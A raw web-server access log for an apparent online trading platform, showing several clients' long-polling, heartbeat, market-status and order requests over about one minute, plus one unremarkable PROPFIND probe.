[09/Jan/2026:15:02:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942413656 HTTP/1.1" -
[09/Jan/2026:15:02:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942419490 HTTP/1.1" -
[09/Jan/2026:15:02:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942414100 HTTP/1.1" -
[09/Jan/2026:15:02:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942414055 HTTP/1.1" -
[09/Jan/2026:15:02:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942418756 HTTP/1.1" -
[09/Jan/2026:15:02:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942424583 HTTP/1.1" -
[09/Jan/2026:15:02:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942419141 HTTP/1.1" -
[09/Jan/2026:15:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942419142 HTTP/1.1" -
[09/Jan/2026:15:02:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942423833 HTTP/1.1" -
[09/Jan/2026:15:02:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942429614 HTTP/1.1" -
[09/Jan/2026:15:02:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942424176 HTTP/1.1" -
[09/Jan/2026:15:02:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942424197 HTTP/1.1" -
[09/Jan/2026:15:02:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942428921 HTTP/1.1" -
[09/Jan/2026:15:02:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942434698 HTTP/1.1" -
[09/Jan/2026:15:02:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942429215 HTTP/1.1" -
[09/Jan/2026:15:02:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942429348 HTTP/1.1" -
[09/Jan/2026:15:02:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942434018 HTTP/1.1" -
[09/Jan/2026:15:02:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942439819 HTTP/1.1" -
[09/Jan/2026:15:02:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942434238 HTTP/1.1" -
[09/Jan/2026:15:02:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942434483 HTTP/1.1" -
[09/Jan/2026:15:02:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942439119 HTTP/1.1" -
[09/Jan/2026:15:02:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942444857 HTTP/1.1" -
[09/Jan/2026:15:02:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942439270 HTTP/1.1" -
[09/Jan/2026:15:02:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942439611 HTTP/1.1" -
[09/Jan/2026:15:02:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:02:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942444161 HTTP/1.1" -
[09/Jan/2026:15:02:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942449924 HTTP/1.1" -
[09/Jan/2026:15:02:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:15:02:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:02:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942444287 HTTP/1.1" -
[09/Jan/2026:15:02:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942444783 HTTP/1.1" -
[09/Jan/2026:15:02:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:02:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:02:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942449202 HTTP/1.1" -
[09/Jan/2026:15:02:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942455015 HTTP/1.1" -
[09/Jan/2026:15:02:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942449329 HTTP/1.1" -
[09/Jan/2026:15:03:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942449831 HTTP/1.1" -
[09/Jan/2026:15:03:01 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:15:03:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942454269 HTTP/1.1" -
[09/Jan/2026:15:03:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942460055 HTTP/1.1" -
[09/Jan/2026:15:03:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942454354 HTTP/1.1" -
[09/Jan/2026:15:03:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942455001 HTTP/1.1" -
[09/Jan/2026:15:03:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942459318 HTTP/1.1" -
[09/Jan/2026:15:03:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942465130 HTTP/1.1" -
[09/Jan/2026:15:03:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942459406 HTTP/1.1" -
[09/Jan/2026:15:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942460128 HTTP/1.1" -
[09/Jan/2026:15:03:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942464399 HTTP/1.1" -
[09/Jan/2026:15:03:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942470235 HTTP/1.1" -
[09/Jan/2026:15:03:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942464438 HTTP/1.1" -
[09/Jan/2026:15:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942465286 HTTP/1.1" -
[09/Jan/2026:15:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1206
[09/Jan/2026:15:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:03:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942469527 HTTP/1.1" -
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942475277 HTTP/1.1" -
[09/Jan/2026:15:03:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:03:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942469458 HTTP/1.1" -
[09/Jan/2026:15:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942470454 HTTP/1.1" -
[09/Jan/2026:15:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1727
[09/Jan/2026:15:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:03:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
